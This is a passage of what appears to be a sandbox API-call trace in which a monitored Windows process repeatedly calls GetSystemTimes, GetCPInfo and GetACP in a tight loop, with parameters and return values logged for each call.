lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.250] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.250] GetACP () returned 0x4e4 [0053.250] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.251] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.251] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.251] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.252] GetACP () returned 0x4e4 [0053.252] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.252] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.253] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.253] GetACP () returned 0x4e4 [0053.253] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.254] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.254] GetACP () returned 0x4e4 [0053.254] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.255] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.255] GetACP () returned 0x4e4 [0053.255] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.256] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.256] GetACP () returned 0x4e4 [0053.256] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.257] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.257] GetACP () returned 0x4e4 [0053.257] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.258] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.258] GetACP () returned 0x4e4 [0053.258] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0053.259] GetACP () returned 0x4e4 [0053.259] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0053.259] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 